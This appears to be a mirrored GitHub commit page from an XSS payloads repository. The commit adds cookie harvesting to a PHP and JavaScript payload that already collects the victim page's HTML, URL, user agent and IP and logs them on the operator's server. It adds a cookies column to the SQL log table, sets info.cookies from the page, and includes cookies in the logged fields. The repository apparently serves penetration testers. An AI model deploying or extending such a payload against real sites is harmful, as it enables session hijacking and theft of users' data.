mirror of
https://github.com/nettitude/xss_payloads.git
synced 2024-11-21 19:53:05 +00:00
Missed the cookie column
This commit is contained in:
parent
51a3a1c4b5
commit
6e4b5b6126
1 changed files with 3 additions and 3 deletions
|
@ -30,7 +30,7 @@
|
|||
$db_host = 'localhost';
|
||||
|
||||
// Use this SQL to set up the DB
|
||||
// CREATE TABLE log ( id int NOT NULL AUTO_INCREMENT, logtime DATETIME, method varchar(10), pageurl varchar(255), scripturl varchar(255), useragent varchar(255), userip varchar(20), html TEXT, PRIMARY KEY (id) )
|
||||
// CREATE TABLE log ( id int NOT NULL AUTO_INCREMENT, logtime DATETIME, method varchar(10), pageurl varchar(255), scripturl varchar(255), cookies varchar(255), useragent varchar(255), userip varchar(20), html TEXT, PRIMARY KEY (id) )
|
||||
|
||||
$url = 'http';
|
||||
if( !empty( $_SERVER['HTTPS'] ) ){
|
||||
|
@ -65,7 +65,7 @@
|
|||
info.html = document.documentElement.outerHTML;
|
||||
|
||||
// Any non HttpOnly cookies present
|
||||
info.cookie = document.cookies
|
||||
info.cookies = document.cookies
|
||||
|
||||
document.documentElement.innerHTML += 'A';
|
||||
if( !document.getElementById('frame_xss') ){
|
||||
|
@ -124,7 +124,7 @@
|
|||
|
||||
$info->logtime = date('Y-m-d H:i:s');
|
||||
|
||||
$aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'useragent', 'userip', 'html' );
|
||||
$aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'cookies', 'useragent', 'userip', 'html' );
|
||||
|
||||
// Log this request
|
||||
if( $logging == 'file' ){
|
||||
|
|
Loading…
Reference in a new issue